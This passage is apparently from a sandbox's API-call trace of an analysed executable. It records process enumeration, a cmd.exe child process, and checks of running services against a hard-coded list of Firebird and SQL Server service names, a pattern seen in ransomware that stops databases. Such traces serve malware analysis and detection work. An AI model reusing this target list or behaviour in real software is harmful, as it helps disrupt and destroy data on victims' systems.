szExeFile="svchost.exe")) returned 1 [0170.671] lstrlenW (lpString="svchost.exe") returned 11 [0170.671] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.672] lstrlenW (lpString="svchost.exe") returned 11 [0170.672] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.672] lstrlenW (lpString="dwm.exe") returned 7 [0170.672] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.673] lstrlenW (lpString="svchost.exe") returned 11 [0170.673] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.673] lstrlenW (lpString="svchost.exe") returned 11 [0170.673] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.674] lstrlenW (lpString="svchost.exe") returned 11 [0170.674] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.674] lstrlenW (lpString="svchost.exe") returned 11 [0170.674] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.675] lstrlenW (lpString="svchost.exe") returned 11 [0170.675] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.675] lstrlenW (lpString="svchost.exe") returned 11 [0170.675] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.675] lstrlenW (lpString="svchost.exe") returned 11 [0170.676] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.676] lstrlenW (lpString="svchost.exe") returned 11 [0170.676] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.676] lstrlenW (lpString="svchost.exe") returned 11 [0170.676] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.677] lstrlenW (lpString="svchost.exe") returned 11 [0170.677] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.694] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.694] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.695] lstrlenW (lpString="svchost.exe") returned 11 [0170.695] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.695] lstrlenW (lpString="audiodg.exe") returned 11 [0170.695] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0170.696] lstrlenW (lpString="sihost.exe") returned 10 [0170.696] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.696] lstrlenW (lpString="svchost.exe") returned 11 [0170.696] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.697] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.697] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0170.697] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0170.697] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0170.697] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0170.697] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0170.698] lstrlenW (lpString="Memory Compression") returned 18 [0170.698] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.698] lstrlenW (lpString="explorer.exe") returned 12 [0170.698] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0170.699] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0170.699] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0170.699] lstrlenW (lpString="SearchUI.exe") returned 12 [0170.699] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0170.700] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0170.700] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.700] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.700] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0170.700] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0170.700] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.701] lstrlenW (lpString="cmd.exe") returned 7 [0170.701] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.701] lstrlenW (lpString="conhost.exe") returned 11 [0170.701] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0170.702] lstrlenW (lpString="consent.exe") returned 11 [0170.702] Process32NextW (in: hSnapshot=0x54c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0170.702] CloseHandle (hObject=0x54c) returned 1 [0170.702] Sleep (dwMilliseconds=0x1f4) [0171.314] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0171.314] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0171.315] GetLastError () returned 0xea [0171.315] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4171fb0 [0171.315] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4171fb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4171fb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0171.316] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0171.316] lstrlenW (lpString="Appinfo") returned 7 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.316] lstrlenW (lpString="AppXSvc") returned 7 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0171.316] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.316] lstrlenW (lpString="Audiosrv") returned 8 [0171.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0171.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0171.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0171.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0171.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0171.317] lstrlenW (lpString="BFE") returned 3 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.317] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0171.317] lstrlenW (lpString="CDPSvc") returned 6 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0171.317] lstrlenW (lpString="ClickToRunSvc") returned 13 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0171.317] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0171.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0171.317] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0171.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.317] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0171.318] lstrlenW (lpString="CryptSvc") returned 8 [0171.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.318] lstrlenW (lpString="DcomLaunch") returned 10 [0171.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.318] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.318] lstrlenW (lpString="DeviceAssociationService") returned 24 [0171.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.318] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0171.318] lstrlenW (lpString="Dhcp") returned 4 [0171.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.319] lstrlenW (lpString="Dnscache") returned 8 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.319] lstrlenW (lpString="DPS") returned 3 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.319] lstrlenW (lpString="DusmSvc") returned 7 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0171.319] lstrlenW (lpString="EventLog") returned 8 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0171.319] lstrlenW (lpString="EventSystem") returned 11 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.319] lstrlenW (lpString="FontCache") returned 9 [0171.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0171.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0171.319] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0171.319] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0171.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0171.320] lstrlenW (lpString="gpsvc") returned 5 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.320] lstrlenW (lpString="iphlpsvc") returned 8 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.320] lstrlenW (lpString="KeyIso") returned 6 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0171.320] lstrlenW (lpString="LanmanServer") returned 12 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.320] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.320] lstrlenW (lpString="lfsvc") returned 5 [0171.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0171.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0171.320] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0171.320] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0171.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0171.320] lstrlenW (lpString="lmhosts") returned 7 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.321] lstrlenW (lpString="LSM") returned 3 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0171.321] lstrlenW (lpString="MpsSvc") returned 6 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.321] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.321] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.321] lstrlenW (lpString="NcbService") returned 10 [0171.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0171.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0171.321] lstrcmpiW 